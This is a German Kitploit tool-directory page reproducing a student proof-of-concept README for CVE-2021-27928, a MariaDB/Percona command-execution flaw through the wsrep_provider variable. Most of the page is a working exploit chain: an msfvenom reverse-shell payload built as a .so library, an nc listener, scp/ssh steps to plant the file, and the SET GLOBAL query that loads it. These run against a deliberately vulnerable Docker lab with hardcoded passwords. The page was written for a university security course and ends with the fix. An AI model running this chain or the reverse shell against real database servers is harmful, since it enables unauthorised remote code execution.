Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-27928 — Ein Proof of Concept für die Ausnutzung der Schwachstelle CVE-2021-27928 | Kitploit
Tools/GitHubGitHub/laliea/cve-2021-27928
Payload-GenerierungSchwachstellenanalyseExploitationPenetrationstestsCommand and ControlLernen & BildungArchived
GitHublaliea/cve-2021-27928

CVE-2021-27928

Ein Proof of Concept für die Ausnutzung der Schwachstelle CVE-2021-27928

Repository anzeigen
2vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-27928

In diesem Repository finden Sie einen Proof of Concept zur Ausnutzung der Sicherheitslücke CVE-2021-27928 mittels eines Docker-Containers.

root@kitploit:~
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
    MariaDB 10.2 before 10.2.37,
            10.3 before 10.3.28,
            10.4 before 10.4.18,
            10.5 before 10.5.9;
    Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

Beschreibung der Sicherheitslücke

Die Systemvariablen wsrep_provider und wsrep_notify_cmd system können zur Laufzeit von einem Datenbankbenutzer mit Super-Privilegien geändert werden, was zur Ausführung von Remote-Code mit diesen Privilegien führen kann.

Die erste Variable akzeptiert einen Pfad zur .so-Bibliothek, die der Server mit dlopen() zu laden versucht, und die zweite einen Pfad zum Shell-Skript, das der Server ausführt. Dass diese beschreibbar sind, ermöglicht es einem Datenbankbenutzer mit Super-Privilegien, beliebigen Code als Systembenutzer auszuführen.

mysql

In diesem Proof of Concept verwenden wir msfvenom, um die .so-Bibliothek zu generieren, die unsere Nutzlast (in unserem Fall eine Reverse Shell) enthält. Wir kopieren diese Datei dann auf die verwundbare Maschine und geben diesen Pfad in der Variable wsrep_provider an, wodurch unsere Nutzlast ausgeführt wird. Dies gewährt uns dank unserer Reverse Shell Zugriff auf die Zielmaschine als Benutzer mit Super-Privilegien (hier mysql-Benutzer).

Erstellen und Starten des Images der verwundbaren Maschine

Für dieses Experiment benötigen Sie, dass docker, msfvenom, openssh-client und mariadb-Pakete auf Ihrem Rechner installiert sind.

In diesem Setup basiert die Zielmaschine auf einem MariaDB 10.4.12-Image (das für diese Sicherheitslücke anfällig ist), auf dem ein OpenSSH-Server läuft, der keine Root-Anmeldung erlaubt. Daher haben wir für Sie einen Nicht-Root-Benutzer myuser mit dem Passwort mypassword erstellt.

Erstellen des verwundbaren Images:

root@kitploit:~
docker build --rm=true -t mariadb-cve-2021-27928 .

Starten der Zielmaschine:

root@kitploit:~
docker compose up

Exploit

Erstellen der Nutzlast: eine Reverse Shell

Die Nutzlast ist die Binärdatei, die die Zielmaschine nach Abschluss des Exploits ausführen soll. Hier verwenden wir msfvenom, um die Reverse-Shell-Nutzlast in Form einer .so-Bibliothek zu erstellen, mit unserer IP-Adresse (LHOST) und Port (LPORT) als Parameter. Führen Sie in einer anderen Shell Folgendes aus:

root@kitploit:~
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so

Die IP-Adresse LHOST ist diejenige, die in docker-compose.yaml für das Netzwerk-Gateway definiert ist, in unserem Fall der Angreifer, Sie.

Auf die Reverse Shell lauschen

Im Hintergrund, in einem dritten Terminal, lauschen wir auf eingehende Verbindungen von der Zielmaschine auf dem Port, auf dem sie sich verbinden soll.

root@kitploit:~
nc -lnvp 4444

Der Port, auf dem wir lauschen, 4444, ist derselbe, den wir bei der Erstellung der Nutzlast als LPORT festgelegt haben.

Senden der Nutzlast an die verwundbare Maschine

Nun müssen wir die zuvor erstellte Nutzlast (payload-CVE-2021-27928.so) per SSH mit dem Befehl scp auf die Zielmaschine kopieren, als Nicht-Root-Systembenutzer myuser, dessen Passwort mypassword ist:

root@kitploit:~
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so

Da wir eine Datei nicht direkt per SSH nach /usr/lib kopieren können, müssen wir uns mit der Maschine verbinden und sie manuell an die richtige Stelle verschieben (denken Sie daran, dass das Passwort von myuser mypassword ist):

root@kitploit:~
ssh [email protected]
root@kitploit:~
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
root@kitploit:~
exit

Wir hätten die Nutzlast auch in ein anderes Verzeichnis unter einem anderen Namen wie /tmp/exploit.so hochladen und diesen Pfad als Nutzlastpfad übergeben können, aber da die Sicherheitslücke inzwischen in allen MariaDB-Paketen behoben wurde, erforderte ihre Ausnutzung einige Anpassungen, die Sie am Ende dieser Demo sehen werden.

Ausführen der Nutzlast auf dem Ziel durch Ausnutzen der Sicherheitslücke

Der letzte Schritt besteht darin, die MariaDB-Sicherheitslücke auszunutzen, indem wir eine Anfrage als freundlicher Nicht-Root-Systembenutzer, aber kompetenter Datenbankadministrator, der wir sind, mit der Anfrage senden, die globale Variable wsrep_provider auf den Pfad unserer Nutzlast zu setzen.

root@kitploit:~
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"

Hier bedeutet root "Administrator" auf Datenbankebene, nicht den "System-Root"-Benutzer. Das Passwort ist daher das in der Datei docker-compose.yaml, MYSQL_ROOT_PASSWORD: myrootpwd.

Wenn schließlich alles wie erwartet funktioniert hat, können wir in dem Terminal, in dem wir auf Verbindungen gelauscht haben, sehen, dass sich die Zielmaschine erfolgreich bei uns zurückgemeldet hat und wir Shell-Befehle ausführen können. Viel Spaß :)

Die Reverse Shell ist nicht so komfortabel wie eine "klassische" Shell: Sie haben keine Autovervollständigung, keine Eingabeaufforderung und keinen Verlauf, daher liegt es an Ihnen, die korrekte Ausführung Ihrer Befehle zu überwachen. Zögern Sie also nicht, als Beispiel ls -la zu verwenden.

Sie können whoami in der Netcat-Shell ausführen, um zu überprüfen, ob Sie der Systembenutzer mysql sind!

Behebung

Laut dem MariaDB-Jira scheint es wenig (oder keinen) praktischen Anwendungsfall zu geben, diese Variablen zur Laufzeit zu ändern; sie werden nur in Tests verwendet. Nachdem diese Sicherheitslücke gefunden wurde, bestand die Behebung daher darin, sie schreibgeschützt zu machen, was eine einfache und sichere Lösung war, auf Kosten etwas komplexerer Testskripte.

Das war zuvor nicht der Fall, aber jetzt kann wsrep_provider nur noch den Wert /usr/lib/galera/libgalera_smm.so annehmen. Deshalb erforderte dieser Proof of Concept einige Anpassungen, wie das Gewähren von Schreibrechten für den Ordner /usr/lib/galera, um unsere Nutzlast hochladen zu können. Diese Konfiguration ist daher im Rahmen dieser Demonstration bewusst fehlerhaft, ist aber auf den meisten aktuellen Systemen nicht mehr auf diese Weise nutzbar.

Referenzen

  • CVE
  • MariaDB-Server-Problem auf Jira
  • Exploit-Beispiel

Diese Arbeit wurde im Rahmen des Kurses zur Sicherheit von Informationssystemen durchgeführt, der im letzten Jahr der Spezialisierung Informationssystemtechnik an der Grenoble INP - Ensimag, UGA, angeboten wird.

Tool herunterladen